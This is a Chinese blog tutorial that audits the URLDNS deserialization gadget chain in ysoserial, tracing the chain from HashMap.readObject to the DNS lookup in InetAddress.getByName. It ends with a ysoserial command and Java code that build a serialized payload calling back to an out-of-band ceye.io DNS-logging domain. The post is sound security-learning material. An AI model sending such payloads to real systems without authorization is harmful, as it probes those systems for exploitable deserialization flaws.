首页 > 其他分享 >ysoserial中的URLDNS利用链代码审计

ysoserial中的URLDNS利用链代码审计

时间:2023-08-05 12:55:46浏览次数:85  
标签:审计 java HashMap URL ysoserial hashCode URLDNS new

ysoserial中的URLDNS利用链代码审计

一.避坑

我使用了jdk1.8的版本,因为在使用jdk1.7版本的时候出现了如下报错

java: 程序包sun.rmi.server不存在
之后问chatgpt


之后我发现不知为什么我的jdk1.7里面没有rt.jar,所以我换成了jdk1.8

二.环境搭建

1.下载源码
https://github.com/frohoff/ysoserial
2.新建项目

3.点击next

4.点击next

5.导入源码


6.点击Add Configuration

7.配置执行的命令




8.点击右下角的load maven package
9.运行
成功会是这样的

三.正式审计

java反序列化利用
1.入口类重写了readObject方法
2.入口类可传入任意对象
3.执行类可被利用执行危险函数
链子
进入HashMap
HashMap->readObject()->hash()->hashCode()
进入URL
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
最终getByName()是可利用的危险函数
先从GeneratePayload打断点,调试

然后进入了URLDNS.java里

public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

继续按F7单步调试,发现HashMap,URL,这些都跳过去了,说明这是java的内部类

选中ht前面的HashMap,按ctrl+鼠标左键进入类

发现重写了readobject方法

关键点在这个位置,发现有putVal和hash,重点在hash

选中hash,ctrl+鼠标左键进入

发现hashCode

很多类里面都会使用hashCode,现在目的是找到一个调用了hashCode的类,但是这个类调用的hashCode直接或间接执行了危险函数
看URL类

进入,在URL.java里面也发现了个hashCode

进入handler的hashCode

进入了URLStreamHandler.java里

进入getHostAddress()

最终发现这里会发生一次dns查询

四.工具使用

1.java -jar ysoserial-all.jar URLDNS "http://x7f9c7.ceye.io" > urldns.txt
创建新的URLDNS.java

import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class URLDNS{
	public static void main(String[] args) throws Exception{
		FileInputStream fis = new FileInputStream("urldns.txt");
		ObjectInputStream ois = new ObjectInputStream(fis);
		ois.readObject();
	}
}

javac URLDNS.java
java URLDNS
2.

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class EXPURLDNS{
	public static void main(String[] args) throws Exception{
		
		HashMap h = new HashMap();
		URL u = new URL("http://x7f9c7.ceye.io");
		Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
		f.setAccessible(true);
		
		//为了防止在serialize的时候就产生了url请求
		f.set(u,1); 
        h.put(u,1);
        f.set(u,-1);
		
		//生成文件
		ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("urldns.txt"));
		oos.writeObject(h);
	}
}
	

五.参考文章

https://www.cnblogs.com/z2n3/p/17168835.html
https://blog.csdn.net/qq_35733751/article/details/120174814

标签:审计,java,HashMap,URL,ysoserial,hashCode,URLDNS,new
From: https://www.cnblogs.com/thebeastofwar/p/17607803.html

相关文章

  • Aequitas 偏见和公平审计工具包——如果是真的数据不均衡,效果会不会很差呢?
    偏见和公平审计工具包http://aequitas.dssg.io/ 偏见报告由Aequitas提供支持,这是一个开源偏见审计工具包,供机器学习开发人员、分析师和政策制定者审计机器学习模型的歧视和偏见,并围绕开发和部署预测性风险评估工具做出明智和公平的决策。请参阅有关COMPAS风险评估分数的示例报告......
  • Oracle操作审计
    因为信安的要求,要对Oracle加审计。看了一下,原来是有开的,类型为DB:SQL>showparameteraudit;NAMETYPEVALUE-----------------------------------------------------------------------------audit_file_dest......
  • WebSSH之录屏安全审计(三)
    第一篇:Gin+Xterm.js实现WebSSH远程Kubernetes Pod(一)第二篇:WebSSH远程管理Linux服务器、Web终端窗口自适应(二)支持用户名密码认证支持SSH密钥认证支持Web终端窗口自适应支持录屏审计AsciinemaAsciinema是一款开源的终端会话录制工具。官网:https://asciinema.or......
  • 两个php代码审计的工具
    来自打那个熊海cms时候发现的大佬文章:https://blog.csdn.net/qq_28624871/article/details/114745946下载地址大佬给了,我就不贴了第一个叫Seay源代码审计系统 不能直接拖文件,感觉这点有点不方便不过分析代码上感觉还可以在左上角的新建项目里选中要审计的代码文件或文件夹......
  • 通过python读取authing IAM中的admin、user审计日志
     方式:通过python-logstash库,将读取的日志传给logstash的udpinput地址。 logstashconfig:input{udp{port=>5959codec=>json}}filter{json{source=>"message"target=>"parsed_data"}mutate{......
  • MySQL8.0安装Mcafee审计插件,开启审计功能
    最近根据安全审计要求,数据库需要开启审计日志功能社区版本的MySQL8没有官方的审计日志插件,我们可以选择Mcafee提供的插件进行安装1、下载插件首先需要根据数据库版本选择对应的插件;https://github.com/mcafee-enterprise/mysql-audit注意:这里需要与数据库版本严格对应,笔者尝......
  • Spring Data JPA使用规则和自动审计的学习
    一、创建项目引入依赖完整的pom文件如下所示:<?xmlversion="1.0"encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http:......
  • Json.NET反序列化漏洞生成Ysoserial攻击Payload
    Ysoserial.Net只提供序列化之后的Payload主体,具体执行的命令从外部输入,实现代码清单如下Stringpayload=@"{    '$type':'System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35',  ......
  • Java反序列化:URLDNS的反序列化调试分析
    URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。一.Java反序列化前置知识Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口,将对象转化成字节......
  • 代码审计工具Fortify基本使用
    最近接触到一款代码审计的工具---FortifySCAandApplications22.2.0,现就其基本使用做一简单介绍!Fortify是一个应用安全测试软件,是MicroFocus旗下AST(应用程序安全测试)产品。Fortify能够提供静态和动态应用程序安全测试技术,以及运行时应用程序监控和保护功能,包括静态代码分......